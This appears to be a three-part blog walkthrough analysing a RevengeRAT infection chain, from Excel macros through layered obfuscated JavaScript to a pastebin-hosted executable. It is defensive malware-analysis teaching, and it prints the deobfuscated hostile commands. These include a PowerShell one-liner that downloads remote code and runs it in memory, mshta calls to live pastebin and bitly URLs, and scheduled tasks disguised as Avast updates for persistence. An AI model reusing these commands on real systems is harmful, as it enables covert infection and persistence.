# RevengeRAT (Part 3) More javascript, an executable, and other tomfoolery…

The final installment! Lots of javascript ahead.

Part 1: Getting through the macros.

Part 2: Analysis of javascript from blogspot site to the first pastebin page.

Part 3: Analysis of javascript on remaining pastebin pages.

We left off looking at the code below. It is split up into four distinct parts and we’ll look at each one in turn.

Part 1: Kill Microsoft

This one is not that complicated. Create the shell object (line 58), put the command string in a variable (line 60), and run it in line 61. Here’s the full string in line 60. Notice how it’s killing a variety of Microsoft apps:

cmd.exe /c taskkill /f /im winword.exe & taskkill /f /im excel.exe & taskkill /f /im MSPUB.exe & taskkill /f /im POWERPNT.EXE & exit

Part 2: Writing to the registry

Again, not too complicated. All it is doing is creating a registry key called “WinUpdate” and using mshta.exe to go to ANOTHER pastebin site and download stuff. I guess we’d better check that one out, too.

And here we go again! Five rounds later we get…

self.close? I have no idea why that would be put in the run registry, but there we go.

Part 3.1: Avast Updater

So rather than the run registry, let’s make a scheduled task instead! Line 72 is where the magic happens

69: X_hw0 "schtasks /create /sc MINUTE /mo 300 /t"
70: X_hw1 "n ""Avast Updater"" /tr ""mshta.ex"
71: X_hw2 "e http://pastebin.com/raw/B6DMsewR /F "
72: X_hw schtasks /create /sc MINUTE /mo 300 /tn ""Avast Updater"" /tr ""mshta.exe http://pastebin.com/raw/B6DMsewR /F

Using schtasks.exe, a new task is created (/create), using a schedule (/sc) of minutes, running every 300 minutes (/mo), with a task name (/tn) of “Avast Updater”, and will be running the following command (/tr) “mshta.exe http://pastebin&#8230;

Another freaking pastebin site? Yes! And guess what? It’s more javascript to untangle!

Part 3.2: The executable

… four rounds of CyberChef later, we get…

This will be very similar to the ones above. Here it is all laid out and reversed (when necessary):

104: D_XA1 "raw/eD7Nj8tL"
105: D_XA2 "'').replace(''!@#'',''0x'')'));[AppDomain]::CurrentDomain.Load($sc64).EntryPoint.invoke($S,$X)" 106: D_XA0 "Powershell.exe -noexit [Byte[]]$sc64= iex(iex('(&(GCM *W-O*)'+ 'Net.'+'WebC'+'lient)'+'.Dow'+'nload'+'Str'+'ing(''https://pastebin.com/"
107: D_XA Powershell.exe -noexit [Byte[]]$sc64= iex(iex('(&(GCM *W-O*)Net.WebClient).DownloadString('https://pastebin.com/raw/eD7Nj8tL ').replace(''!@#'',''0x'')'));[AppDomain]::CurrentDomain.Load($sc64).EntryPoint.invoke($S,$X)

Line 106 is a long one and needs some explanation.

Variable \$sc64 is going to be created as a byte array. iex means the same thing as Invoke-Expression. GCM *W-O* is an obfuscated way of running this instead: Get-Command New-Object. The contents of YET ANOTHER pastebin page is downloaded, only the characters !@# are replaced with a 0x. It is then loaded up and executed.

So what, pray tell, is at this next pastebin site? More javascript, perhaps?

No! It’s the actual executable! We can now see why the !@# was replaced with a 0x. And if you recall the scheduled task named Avast Updater, this will be downloaded and executed every 300 minutes.

Part 4: Avast backup

This looks familiar.

77: P_wx0 "schtasks /create /sc MINUTE /mo 300 /t"
78: P_wx1 "n ""Avast backup"" /tr ""mshta.ex"
79: P_wx2 "e http://pastebin.com/raw/pQiwYgDK"" /F "
80: P_wx "schtasks /create /sc MINUTE /mo 300 /tn ""Avast backup"" /tr ""mshta.exe http://pastebin.com/raw/pQiwYgDK"" /F "

Another freakin’ pastebin site. Well, we can’t stop now. And it contains javascript. Five rounds later we get…

Another self.close?  Well, at this point, I’ll take it.

That’s it for now! Thanks for reading.

# RevengeRAT (Part 2) – Pastebin, Javascript, and StrReverse(StrReverse(“stuff”))

Continuing our walk-through, we now get outside of the document itself and see what happens next.

Part 1: Getting through the macros.

Part 2: Analysis of javascript from blogspot site to the first pastebin page.

Part 3: Analysis of javascript on remaining pastebin pages.

We left off with the macro running this command:

This means we must know what happens next. Using whatever site/mechanism you use to expand shortened links, you will see that the URL takes you to a blogspot site of all things.

https://sxasxasxssaxxsasxasx.blogspot.com/p/don-bigi.html

Having seen this sort of behavior before, I’m not going to actually visit the site. Remember, our goal is to learn what is happening purposefully, rather than learning what is happening accidentally. In this case, I’m pretty sure that the site contains a monstrous chunk of javascript that I don’t want running. This means I’m going to use powershell to download the website. From there I can investigate it at my leisure.

PS C:\path\to\wherever> Invoke-WebRequest -Uri "https://sxasxasxssaxxsasxasx.blogspot.com/p/don-bigi.html" -OutFile "C:\Path\to\wherever\site.html"

Full disclosure, I can neither write nor read html. However, I have learned that huge chunks of javascript like this are suspicious and deserve more attention.

I found CyberChef to be extremely handy when working with this. We can copy out the hex in the javascript command and make use of the “From Hex” recipe.

Looking at the output below, we can see more javascript? Yes, we will find that we have multiple layers of obfuscated javascript. This means we need to take the hex from the output, copy it to the input, and lather, rinse, and repeat until we get something useful like this:

Lines 8-9 contain the last two rounds of obfuscated javascript. Lines 10-20 contain what is actually going to run. Looking carefully at line 11 we see the infamous double StrReverse.

(sigh)

Anyway, line 15 (var Zwk) is where the string gets put together. Line 18 (var AS_ww) contains the completed string and is where it is executed. After a little bit of analysis you can see this command being run:

12. AS_ww1 = http://www.pastebin.com/raw/
13. AS_ww0 = mshta
14. AS_ww2 = qykTeRnR
17. AS_ww = http://www.pastebin.com/raw/qykTeRnR

More javascript… Alrighty. Back to CyberChef and about three rounds later we get:

This script is split up into four distinct parts. We’ll look at each of them in turn in the next post.

To part 3!

# RevengeRAT (Part 1) – Excel document and macros

This spreadsheet starts off a grand tour of javascript and obfuscated commands. Highlights include blogspot and the impossible-to-detect double-string reverse encoding (100% of the time, it works every time). Although I don’t have a full any.run account, @olihough86 does and was able to help with the last bit of analyzing the final payload.

Part 1: Getting through the macros.

Part 2: Analysis of javascript from blogspot site to the first pastebin pages.

Part 3: Analysis of javascript on remaining pastebin pages.

tl;dr

http://bitly.com/6hjxasxsxassh6 - Redirects you to blogspot
http://pastebin.com/raw/L623MZ5d - Executes self.close
https://pastebin.com/raw/eD7Nj8tL - Executable lives here
http://pastebin.com/raw/pQiwYgDK - Executes self.close

My first step is to always dump out the macros and look at them. This is easy enough to do with OfficeMalScanner. Line 16 below shows the ‘Shell’ command being run on three variables (lines 10, 12, and 14). The rest of this macro is 1192 lines that are mostly taken up by function ecJ4XvnDW (line 19). This function is huge and most of it is taken up by complete garbage.

In such a case, it can be useful to make use of the built-in Microsoft Visual Basic for Applications. There we can use it as a debugger to step through the macro and see how it works. It can also allow us to set breakpoints which allow us to skip over the garbage and get to the good stuff.

To do this, we will need to open up the document. We will be presented with the option to “Enable Macros” or “Disable Macros”. In order to use the debugger, we will need to enable macros. HOWEVER, make sure that you do this on a safe system that does not have internet access. You don’t want to go and infect yourself just yet. When you enable macros, you’ll be able to see that mshta.exe is a child process of EXCEL.EXE. Feel free to kill the process.

Once you’ve killed it, go back to the document and press Alt+F11 to open up Microsoft Visual Basic for Applications. You will then be presented with a screen like this:

This is where we can start investigating the macros and see how they run. The debugging feature allows us to do this. If we hit the ‘play’ button (F5), the macro will automatically execute and run to the end. We don’t want that. We want to control the code execution. Looking under the ‘Debug’ menu, we can see the option for ‘Step Into’ (F8). This means that we can run code and it will pause after each line. This allows us to watch what variables are being created and see how it all works. But sometimes stepping through each line one-by-one can take too long. In that case, we can set breakpoints. Breakpoints will allow us to set a point at which the code will… well, break. We can then press ‘play’ (F5) and the macro code will run until it hits a breakpoint.

Looking at the above code, we can see that it all seems to come together at the line that contains Shell(Kd1 + Kd2 + Kd3). It stands to reason that variables Kd1 – 3 will contain some important information. If we set a breakpoint at that line, we should be able to see what information is being fed to Shell(). Setting a breakpoint is very easy. All you need to do is click on the space to the immediate left of the line. A red dot will appear and the line will be highlighted in red.

We can now press ‘play’ (F5). The code will run, making variables, messing around in all of the garbage obfuscation, but we don’t care because we’re going to see the final output.

Looking at the variables below, it is almost trivial to piece them together. This is the command that is going to be executed. It is also the child process that we saw above:

mshta http://bitly.com/6hjxasxsxassh6

On to part 2!